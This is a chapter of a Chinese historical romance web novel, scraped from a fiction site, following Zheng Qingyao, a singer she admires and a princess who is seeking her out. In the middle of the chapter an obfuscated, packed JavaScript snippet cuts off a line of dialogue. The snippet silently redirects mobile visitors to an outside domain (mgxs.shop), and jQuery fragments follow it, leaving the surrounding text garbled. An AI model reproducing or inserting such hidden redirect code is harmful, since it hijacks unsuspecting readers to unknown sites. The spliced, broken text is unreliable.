文趣网 > 其他小说 > 不见佛 > 10. 第 10 章
    郑清瑶思来想去也没说出什么话来,她自己都不知道怎么就收下了这簪子,不过,他还长得挺好看的。思至此处,竟不觉得有些脸红。

    盈盈根本就没注意到小姐的异样,还在那边说道:“你都不认识他,你怎么能答应去听曲儿呢?”

    盈盈突然拉着郑清瑶的胳膊严肃地说道:“你可不许去,不然老爷知道了非打死我不可!”

    郑清瑶看她这样子含糊道:“嗯嗯!知道了知道了。”

    可心里却想着,他那么诚恳地邀请自己,食言可不好吧。况且自己一代女侠,定是要一言九鼎的。

    盈盈看着自己家小姐答应了自己,脸上也笑开了花。

    看着后院没人,拉着小姐赶紧从后门溜了进去。

    “老爷。”

    看着郑清瑶从后门溜了进来。

    管家开口道。

    “小姐还是和以前一样,一直都在茶楼听书。”

    缓了缓道:“只不过在出门的时候被一位男子碰倒在地,所幸没有大碍。”

    “侍卫不敢跟的太近,没听到他们说些什么。”

    “嗯。”拄着拐杖的老人点了点头。

    看到那抹鹅黄色身影消失在走廊尽头时便也转身离开了。

    郑霖因为在战场上右腿受了伤,这些年一直靠拐杖才能行走。

    可背脊挺拔。让人一眼看过去就心生敬畏。

    征战几十年,现在早己双鬓斑白。让人闻风丧胆的将军如今心里念的只有这一个女儿。

    自由快乐,这是自己唯一能给她的了。

    “把那些侍卫撤了吧。”

    “是。”

    ——

    为了方便行事,承华穿了身比较轻便的衣服,将往日的大袖褪了去。

    “听说今日郑小姐会去繁楼听曲儿。”

    为了以防万一,水苏还是给公主戴了帷帽,每一颗珠子都由贝壳所研磨而成,透光不透人,在阳光下呈现五彩斑斓之姿。

    “嗯。”承华穿戴好后起身。

    水苏也一起跟了去。

    总是要见见这位郑小姐……

    承华一袭白衣走在宁安街上。

    宁安街是京都最繁华的街道,这里汇聚了众多商贩酒楼杂耍艺人。

    她静静地享受着来自商贩的叫喊声,人群窜动声。呼吸着不属于深宫高墙的空气。

    魏承华从小就在皇宫,长大后又嫁到了丞相府中。张致远将她囚于府中,不准她踏出府中一步。

    后来她搬到宫外,偶尔出门也是坐轿子。还从未行走在这街道市井中。

    “小姐,到了。”水苏停下脚步。

    繁楼是京都最大的酒楼,足足六层。金顶石壁,飞檐微翘。

    承华进去后立马有小二招呼。“两位姑娘里面请。”

    店小二打量着承华,穿的竟然是云锦。便立刻明白这两位姑娘是贵人。

    繁楼有着京都最好的戏班子,每月只演三天,人们都早早地来等着了。

    承华要了二楼最好的位置。

    将帷帽摘了下来。

    点了茶水,静静地等着……

    ——

    郑清瑶趁着盈盈在厨房忙着甜点的空隙赶紧偷溜出家门。

    “小姐!”

    这脚刚刚踏出门口半步,便被盈盈的声音吓了回去。

    “小姐!你怎么能偷跑呢?你是不是要去见上午遇见的那个……”

    盈盈话还没说完,郑清瑶赶紧跑过去捂着她的嘴,万一被别人听到了可怎么是好。

    郑清瑶看着盈盈笑着说道:“我是去繁楼听曲儿~”

    “真的吗?”盈盈明显是不信的。

    “嗯嗯。”郑清瑶点着头,希望盈盈能看出自己的诚恳。

    “那你也不能出去!”

    “啊~盈盈。”郑清瑶没想到盈盈竟还是不听劝,这般阻拦。

    郑清瑶准备乘其不备偷跑出去。

    可盈盈早已看出小姐的心思,拽着她的胳膊不撒手。

    在两人拉扯之间,突然一个浑厚有力的声音响起。

    “幼儿。”

    郑清瑶听到声音时背脊不自觉挺直,脸上挂上了十分僵硬的笑容。

    慢慢的转过身看向身后声音的主人。

    “爹。”

    “你,你听我解释。”

    郑霖看着自己女儿窘迫的模样,等着看她如何开口解释。

    郑清瑶张了张嘴,实在不知该如何开口。

    “爹,我错了。”郑清瑶跑到郑霖身边,低着头,扯着自己的衣裙在手指上转圈。

    “哦?错哪儿了?”

    “我不该偷偷溜出去玩。”

    郑霖看着她,故意装作生气的语气:“确实是该罚。”

    郑清瑶可怜巴巴地望着自己的爹,怎么又要挨罚。我怎么这么倒霉呀!

    看着女儿可怜的模样,郑霖决定不逗她了。

    “罚你以后从正门光明正大的出去。”

    “啊?”自己是听错了吗?罚我从正门出去?

    郑清瑶突然放大了双眼,笑容瞬间攀上脸庞。

    “谢谢爹,爹最好了!”

    郑清瑶连忙喊着盈盈快走。

    郑霖看着她的身影不禁失笑。

    “在外不要惹事!”

    “知道啦!”

    郑清瑶拉着盈盈直奔城北的悦来酒楼。

    盈盈嘟囔道:“小姐怎么知道他在这里?”

    “别看这是京都,但是能听曲儿的酒楼只有这两个,繁楼大多是达官显贵去的。而这个悦来酒楼则是平民百姓来的地方。”

    盈盈一副恍然大悟的表情:“不懂。”

    郑清瑶无奈叹了口气。算了,不跟她说了。

    悦来酒楼不像繁楼一样,这里只有一层。并不是特别大,一进门就能看见戏台子。

    郑清瑶环顾四周并没有看到人的影子,他还没来吗?

    随便找了个位置坐了下来。

    “三载同窗情似海。”

    张居安一开口便惊到了郑清瑶,她不敢相信他竟唱的如此好。

    “山伯难舍祝英台。”

    不知是凑巧还是有意。

    他今日唱的竟是《梁山伯与祝英台》

    戏台子上的他竟和她想象中的梁山伯一样。

    “相依相伴送下山。”

    郑清瑶看着他竟有些痴迷。

    只有他的声音萦绕在耳边。

    “我与你梁兄来拜堂。”

    “贤弟越说越荒唐。”

    “两个男子怎拜堂。”

    郑清瑶看着戏台子上他,他的一举一动,一音一调都深深打动着她。

    她已经分不清他到底是谁了?

    张居安唱完并没有去后台,而是径直走到她的面前。

    “英台。”

    张居安伸出手。

    郑清瑶听着他温柔的语调,看着他柔情的眼神。有一丝刹那觉得自己就是祝英台。

    她伸出了手……

    “小姐!”

    盈盈伸手将自己小姐的手拉了回来。

    郑清瑶回过神来羞涩的低下了头,不敢看他。

    自己刚刚在干嘛!男女授受不亲,怎么能主动把手伸出去呢!

    张居安并不在意。而是去了后台换上了自己的衣服。

    盈盈看着自家小姐,有些生气。

    “小姐!”

    郑清瑶也不知道该如何解释,任凭盈盈在旁边数落着自己。

    张居安来到郑清瑶身边,浅浅笑着:“姑娘喝什么茶?”

    “我……”

    郑清瑶还没说,便被盈盈给打断了。

    “我家小姐喝不惯这里的茶。”一副盛气凌人的样子。

    张居安没有在意,仍然盯着郑清瑶,温柔的点点头。

    只轻轻说了声:“好。”

    又缓缓说道:“那我送姑娘回去,再晚家人要担心的。”

    她们两人都没想到张居安会开口送客。

    倒是盈盈有些生气,本来就是来捧场,竟还让人赶了出去。

    拉起小姐便起身离开。

    只是郑清瑶有些不舍,回身问道:“请问……”

    她还没问完,张居安倒先开口了:“小字,长明。”

    郑清瑶一愣,他怎么知道自己要问什么?

    长明,长明……郑清瑶在心里默默念了几遍他的名字。

    突然想到自己还没告诉他自己的名字呢,可是再回身,已经看不见那人的身影了。

    “公主,我们该回去了。”

    水苏提醒着承华。

    承华看着收拾台子的工人,也知道,今天应该是看不到郑清瑶了。罢了。

    承华起身,水苏将桌子上的帷帽拿在手中。

    “哎呀呀,这是哪家的美人呀!”

    承华抬头,看见前面的道路被五六个人挡着,领头的看穿着应该是哪家的公子哥。

    承华并不想理这群人,闹大了对接下来的事情不利。

    “和你说话呢,听不见啊!”

    领头的人明显有些不耐烦了。

    水苏上前低语:“要不要喊吴总管?”

    承华摇了摇头,在京都,能带着护卫上街随意调戏姑娘的,应该就是谢侯爷家的小公子了。

    “谢小公子。”

    谢贤没想到这人竟认识自己,有些吃惊,但转念一想,自己乃侯府公子,认识也是正常的。

    “算你识相。”

    “今日我看上你,是你的福分!你最好老实点,免得受皮肉之苦。”

    承华并不气恼,只是有些可笑。

    谢贤乃是庶出,谢侯爷一共有三个儿子。大儿子正室滴出,将来是要继承爵位的。

    二儿子虽也是庶出,可是自己争气,学富五车才高八斗。将来定是状元之才。

    只有这个小儿子,母亲原是府中丫鬟。一朝得幸怀了他,可他娘整天争风吃醋,没有管教他。

    承华看着他这副模样,只觉得可怜。

    “听说侯爷又娶了两房太太,这下你娘可有得忙了。”承华一开口便直击谢贤的痛点。

    谢贤怎么也没想到,看起来一个弱不经风的丫头竟敢这么嚣张跋扈。

    气的谢贤双拳紧握。

    “哪来的下烂丫头,竟敢这样编排侯爷!”

    承华看着他,看来刚刚说的话是有些重了,这街上这么多人,他面子上挂不住,自己怕是要挨打了吧。

    她看了看屋顶,看来待会儿要麻烦吴总管了。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524651|203434||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是谁!这些话都是谁告诉你的。”

    “看我今日不打烂你的嘴!”

    谢贤撸起袖子,脸上横肉乱飞。转身拿过侍卫手中的棍子,高举着棍子直冲冲的向承华跑来。

    她直直地看着谢贤。

    心里倒数着喊吴起的时刻。

    “吴……”

    嗯?刚刚一个人影飘过……

    承华看着眼前女子,身上竟带着几分英气。

    棍子停在了承华的头上,而棍子的这头,是这个姑娘的手。

    “谢贤!上次挨揍没过瘾是不是!”

    郑清瑶看着谢贤火气蹭蹭的往上冒,就是他害得自己关家里好久不能出门的,现在还敢在外面兴风作浪。

    谢贤也瞪着郑清瑶恨恨的说道:“郑清瑶,你又来坏我好事!你不是关禁闭了,又偷跑出来了!”

    郑清瑶?承华看着面前为她挡棍的姑娘。

    得来全不费功夫。

    “你管我呢!反正在我眼皮底下你就休想欺负别人!”郑清瑶说道。回头看了一眼承华,这一眼让她有些发愣,这是谁家的姑娘,怎么能这样好看,以前怎么没见过。

    “这个人我今天是要定了!”谢贤也不跟她废话。

    “那你试试!”

    郑清瑶手稍一用力将棍子向后一推,谢贤便被击退数步。

    谢贤自知打不过,便招呼剩下的几个侍卫一起:“给我上!”

    侍卫们一轰而上。

    被郑清瑶三下两下打趴下了!

    “你!你们!”谢贤看着地上躺着的侍卫们。

    “略略略!还不快滚!”

    郑清瑶踢着地上的侍卫骂道!

    “你们等着!”谢贤留下这句话就跑了!

    水苏上前施礼:“多谢姑娘救了我家小姐。”

    郑清瑶反倒有些不好意思了。

    “应该的应该的,路见不平拔刀相助。”

    “那我们就先行一步了。”

    水苏扶着承华先行离开了。

    “啊?好好。”

    旁边酒楼里的张居安将窗外的一切尽收眼底。

    “有趣。”

    ————————————

    承华回到府中,立马吩咐水苏去打听今日郑清瑶去了哪里。

    怎么会在街上遇到?她竟然没去繁楼,那她去了哪里?

    “无趣!无趣!无趣!”坐在繁楼二楼的郑清瑶玩弄着自己的衣裙。

    以前觉得这繁楼的曲儿乃天下一绝,怎么今日竟这般入不了耳。

    她不免又想起那日那个翩翩少年唱的曲儿。

    书生,小姐,好像话本子里都是这么写的。

    郑清瑶不知不觉间脸上泛起一片红晕。

    “小姐,你怎么了?”看着正在痴笑的小姐,盈盈问道。

    “啊?没,没事。”思春的少女赶紧藏起自己心中那不被人察觉的涟漪。

    定了定神后说道:“我们走吧。”

    “啊?这就走啦?”这小姐不是最爱听曲儿嘛,怎么今日说走就走了。

    郑清瑶在宁安街上乱逛着,不想回府,又实在不知道去哪儿。

    “听说了吗,城外竟然修了马场?”

    马场?听到这两个字的郑清瑶瞪大了双眼,脚步不听使唤的往说话的两人身边凑。

    “真的假的?不是除军队外禁止私人圈养马匹嘛!”

    “不多,只有几匹而已,说不定是为了哄哪位公子哥的小玩意儿。”

    真的有马场!

    “马场在哪?”郑清瑶两眼放光。想赶紧跑到马场去,酣畅淋漓的去骑马。

    “不远,出城往东走两里地就是。”

    郑清瑶拔腿就跑。

    “小姐,我们还没和老爷说呢!”盈盈赶紧跟随着小姐。

    郑清瑶什么都听不见,满脑子都是骑马,骑马。

    距离她上一次骑马已经三年了,自从回了京城就再也没有碰过了,天天出门都是坐轿子,她快要憋屈死了。

    这次无论是哪个公子哥的马场,郑大将军的面子总是要给的。她一定要骑马!

    承华端着茶杯迟迟不动。

    水苏并没有探听到那天郑清瑶见了谁。

    原本以为那天是巧合,

    可越是一点消息都没有越是不简单。

    越是密不透风越是证明有人故意为之。

    到底是谁呢?

    ——————

    郑清瑶看着面前的马场,马场不算很大,但是能在京都有个马场已经很不错了。马场里只有四五匹马。

    她深吸一口气,闻着马儿的味道。朝着马儿跑去。

    马场人不多,只有两三个打理马场的人。

    没费功夫,只是要了一锭银子便把马给了郑清瑶。

    郑清瑶也不客气,直接上马。

    轻轻的抚摸着马的毛发,温柔的说道:“好马儿。”

    用力的勒紧缰绳,双腿夹紧马腹。随着一声驾。

    马儿奔跑在马场!

    这种酣畅淋漓的感觉,让郑清瑶浑身都散发着光芒。

    躲在暗处的张居安看着如此潇洒率性的郑清瑶,心中不知何种思绪。

    果然自己不是个东西,偏要把翱翔蓝天的鹰困在金丝笼里。